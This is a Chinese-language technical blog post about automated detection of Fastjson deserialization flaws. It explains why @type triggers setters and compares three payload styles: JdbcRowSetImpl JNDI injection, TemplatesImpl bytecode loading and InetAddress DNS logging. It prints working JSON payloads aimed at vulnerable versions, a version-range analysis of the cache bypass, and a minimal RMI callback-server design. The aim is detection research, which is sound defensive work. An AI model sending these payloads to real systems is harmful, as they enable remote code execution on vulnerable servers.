Fastjson 反序列化漏洞自动化检测

fastjson 是 java 中常用的一个用来序列化反序列化 JSON 数据的库。因其优异的性能表现,在 java web 开放中应用比较广泛。最近需要写一个 fastjson 的检测插件,稍微研究了一下后,感觉有一个比较不错的检测方法,在这里和大家分享下。

在文章开始之前我想说明一点这里介绍的是检测方法而不是利用方法。这是两个不同的目标实现这两个目标需要考虑的细节也是不同的。在做漏洞检测时尤其是自动化检测时关注的往往有以下几点:

  • 利用入口点是什么
  • 如何确认漏洞存在
  • 如何高效检测
  • 如何无损检测

围绕着这几点我这个从未接触 java 安全的弟弟打开了 idea ,开始了 fastjson 反序列化 debug 之路。

漏洞成因

我刚接触的时候,感觉很多文章都在说@type,但@type是什么,为什么需要@type大家好像都没有提及,而且既然@type这么多问题,官方为何不去掉这个用法。带着这些疑问,我写了一个简单的 case,在 1.2.24 版本运行一下:

public class User {
    private String name;

    public User() {
        System.out.println("User()");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }
}

class Testfastjson {
    public static void main(String[] args) {
        String x = "{\"name\": \"test\"}";
        Object xx = JSON.parseObject(x);
        System.out.println(xx);
        System.out.println();

        String y = "{\"@type\":\"com.koalr.fastjson.User\",\"name\": \"test\"}";
        User yy = (User) JSON.parse(y);
        System.out.println(yy);
        System.out.println();

        String z = "{\"name\": \"test\"}";
        User zz = (User) JSON.parseObject(z, User.class);
        System.out.println(zz);
    }
}

结果为:

{"name":"test"}

User()
setName
com.koalr.fastjson.User@18769467

User()
setName
com.koalr.fastjson.User@46ee7fe8

仔细观察这个这个 case,它主要说明了两点:一是如果没有指定类型,得到的是 fastjson 的内置类型 JSONObject,这个模式下没有类型信息,使用起来和 python dict 比较像;二是如果用某种方式制定了类型,那么会调用初始化函数和相关属性的 setter 等。这里说的某种方式可以通过 @type 在 JSON 中指定,也可以在反序列化时手动指定 class 类。

我们来试着回答下上面的三个问题: @type 用于指定本次序列化所使用的类,方便直接操作想要的类型,例子中的后两种情况我们可以直接通过类型转换将原始的 JSONObject 转为 User,第一种却不行,因为后两种真正的类型就是 User,用过 go 的 interface{} 的同学应该比较容易理解这句话;至于为什么需要以及为什么不去掉,我猜想的是一方面帮 Java 开发者偷懒了,一方面可能也是不得不。Java 是一门静态类型语言,在静态语言中操作动态类型是比较难受和不安全的方式,虽然可以通过手动指定class 的方式做反序列化,但这种写法不够通用,在写中间件之类的代码时,结合各种反射特性可以把东西写的很精巧,这时候就不得不用一些比较投机的方式了。

回到话题上,现在我们可以概括一下这个漏洞的成因: 反序列化 @type 指定的类时,指定类的 setter getter 被调用导致的命令执行。

检测方案

上面说到漏洞触发和 settergetter 有关,那么利用方式就是找那些在 settergetter 中有敏感方法的类。从各位大佬们的分析文章来看,主流方式有三种(以 1.2.24 版本为例):

JNDI 注入

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/POC", "autoCommit":true}

原理是 com.sun.rowset.JdbcRowSetImpl 这个类在设置 autoCommit 的 setter 时会调用 connect 方法去连接 dataSourceName 指定的 jdbc 服务。 JNDI 常用的有 RMI 和 LDAP 服务,这里我使用的 RMI 服务,因为实现比较简单,这个后面会说。

bytesCode

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64_bytesCode"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

原理是把这个类会把中的方法会实例化 _bytescodes 中指定的类,我们可以写一个自定义类并在类的初始化函数中加入利用代码。

DNS log

{"@type":"java.net.InetAddress","val":"example.com"}

原理是 java.net.InetAddress 这个类在实例化时会尝试做对 example.com 做域名解析,这时候可以通过 dns log 的方式得知漏洞是否存在了。

上面的三种方式综合考量下,第一种是最合适的。第二种有个致命的限制,需要类似 JSON.parseObject(z, Feature.SupportNonPublicField) 的用法来启用对私有成员的设置,这个选项默认关闭,所以直接不考虑;第三种虽然简单,但用户部署起来很复杂,需要一个能够自行控制 dns 的域名才可以,而且内网的情况更加棘手。

查阅资料后发现,为了防止 JNDI 注入,Java 本身也做了很多努力,比如 java.rmi.server.useCodebaseOnlycom.sun.jndi.rmi.object.trustURLCodebase 这两个都是用于防止 rmi server 远程加载恶意类的。但这些限制对漏洞检测而言是无效的,检测讲究点到为止,我们只要能确定漏洞存在就可以结束检测流程。对 JNDI 注入而言,我们认为 JNDI server 收到了 socket 连接就是漏洞存在。

确定 payload

上面敲定了使用 JNDI 注入的方式来做检测,还有个关键问题需要解决,就是检测过程使用的 payload。有个简单的方式是把各个版本爆出的 poc 都打一遍,可以但有些粗暴。回看最开始说的漏洞检测的几个点,现在要思考的是如何高效检测。

从 2017 年到现在(2019.12),fastjson 先后约有 5 次左右的反序列漏洞的产生、修复和绕过,在这曲折的打怪升级过程中,这其中有两个关键性的版本,一个是 1.2.24,一个是 1.2.47。前者是官方主动说该版本有反序列化漏洞,开启了 fastjson 反序列化研究的道路,后者是护网期间诞生的一个梦幻般的绕过。1.2.24 及之前没有任何限制,从该版本后逐渐增加了黑名单限制、默认关闭 AutoType 等,安全更新大都因为黑名单被绕过,直到 1.2.47 版本左右,有人发现了一种利用 cache 绕过限制的方法,而且这种方法可以向前通杀很多版本,但是 1.2.24 版本却不能用,究竟可以杀到那个版本,我自己调了一下代码,结论如下:

  • 1.2.33 - 1.2.47 无条件利用
  • 1.2.25 - 1.2.32 未开启 AutoType 可以利用,开启反而不能 (默认关闭)
  • 1.2.24 无条件利用

cache 机制是从 1.2.25 添加的,我当时很好奇为何这个开启了 AutoType 反而不能用了,发现原因是这两行代码:

// 1.2.25
for(i = 0; i < this.denyList.length; ++i) {
    deny = this.denyList[i];
    if (className.startsWith(deny)) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

// 1.2.33
for(i = 0; i < this.denyList.length; ++i) {
    deny = this.denyList[i];
    if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

这段代码只在开启了 AutoType 时会执行到,但 25 版本少了一个判断,导致 cache 的利用机制失效了。综合来看 47 这个版本的 poc 基本是通杀的,但 25~32 几个版本手动开了 AutoType 就检查不到了,只能发一个别的 payload 来检测,我曾花费很多力气来尝试把两个 payload 合二为一,但后来发现做的是无用功,因为这两个关键版本的 payload 本质上是互斥的。

没有办法只能求次发两个包解决,其中 payload1 是”通杀“ payload,payload2 是 1.2.24 ~ 1.2.41 在启用 AutoType 时可用的 payload,这两个结合就覆盖了所有的 case。 细心的同学会发现每个数据都套了一层随机数,这么做的原因是我发现 Java Web 中可以通过 annotation 来做类型绑定,大意是可以指定 /user 的数据类型是 User,如果 Server 收到的数据是这样的 {"@type": "com.sun.rowset.JdbcRowSetImpl"},数据指定的类型和 User 不匹配时会报错,这是我在测试 vulhub 靶站时发现的。通过这样一个小的优化可以提高 payload 的命中率。

// payload 1
{
    "rand1": {
      "@type": "java.lang.Class",
      "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "rand2": {
      "@type": "com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName": "rmi://127.0.0.1:1099/aaa",
      "autoCommit": true
    }
}
// payload 2
{
    "rand3": {
      "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
      "dataSourceName": "rmi://127.0.0.1:1099/aaa",
      "autoCommit": true
    }
}

自动化实现

检测方式和 payload 都确定了,就可以开始写代码了。有个问题摆在了眼前,如何利用 RMI 服务来做自动化检测。 回想一下漏洞检测常用的方式:

  • 有回显的检测
  • 布尔/时间盲检测
  • 反连平台检测

fastjson 的这个问题明显属于第三种,它需要一个外部服务来告诉我们漏洞有没有触发,我们称这种服务为反连平台。白帽子们最常用的 xss 平台就是一个 http 服务的反连平台,检测 ssrf 漏洞时也常用反连平台来作为辅助平台,那么我们能不能设法实现一个基于 rmi 服务的反连平台?

一些图省事的同学可能会说直接用 java 启动一个 rmi 服务就可以了,这样做的问题是比较多的,一方面 xray 是用 go 写的,再套一个 java 会很奇怪。而且就算可以用 java,我们也需要为每个检测目标启动不同的服务,因为在同时扫描多个网站时,需要鉴别漏洞请求来源于哪个网站。这其实牵涉到反连平台的一个关键问题:如果做请求关联,就是需要知道这条反连的请求是扫描那个目标时触发的。

有个简单的方案是根据端口来区分,rmi 本质上是一个 socket 服务,我们可以在发送 payload 前启动一个随机的 socket 服务,然后将这个 socket 服务的端口填入 payload 中,内部只需要维持一个 map{“port” -> “request”} 即可。理论上是可行的,但这样需要启动大量的 socket 服务来监听端口,听着就很脏,有没有更好的方法呢?

我们上面输入的 dataSourceName中输入的是 rmi://127.0.0.1:1099/aaa/aaa这一部分像极了 http 的 path,我们设法取到这个值理论上就和 http 服务的反连平台基本一致了。不妨来看看 RMI 服务的协议,docs.oracle.com/javase/, 发现这个协议还挺简单的,我用 wireshark 调了一下,大致流程是:

  1. client -> server dial tcp and send
4a 52 4d 49    00 02    4b
J  R  M  I     Version  Protocol(StreamProtocol)

2. server -> client, repsond with client infos

4e           0009     3132372e302e302e31 0000 d399
ProtocolACK  Length   127.0.0.1               54169

其中 127.0.0.1:54169 对于 server 来讲就是 socket.RemoteAddr

3. client -> server, call

50   xxxxxxxxxxxxxxx
Call SerializationData 

这里的 SerializationData 其实就是 String 的序列化数据,这里面必然包含这我们想要的那个 path, 我在实现时并没有按照 java 序列化数据的格式去乖乖读取,而是用了一个简单的办法,我发现 String 的序列化数据的真正内容都在最后面,那么我其实从后往前读取就可以找到想要的 path,具体方法可以从后往前读固定的长度,也可以给path 设置一个标记符,读到就结束,我用的是后者。

至此,我们把上面讨论的内容用代码串起来就可以做到 fastjson 的高效自动化检测了,该插件现已加入 xray 高级版,欢迎体验。我取了4个版本相对关键的 fastjson 版本验证了一下,效果图如下:

一点想法

上面的实现还有个我觉得不够完美的点,由于我自行实现的 RMI 只实现了握手部分,取得 path 后就关掉连接了,这其实会导致服务端有一个异常信息。其实有时间的话完全可以把剩下的协议部分实现以下,返回一个最简单的结果就可以,这个留给大家去发挥吧。

在研究这个漏洞时,发现大家的研究点都集中在漏洞利用上,然而发现漏洞其实是利用漏洞的起点,而如何高效、自动化的检测漏洞也是非常值得我们去思考和研究的。由于我之前没接触过 Java,很多都是花三分钟现学的,虽然文中结论我大都自己调试过,但精力有限,如有错误,欢迎与我联系改正。

发布于 2019-12-24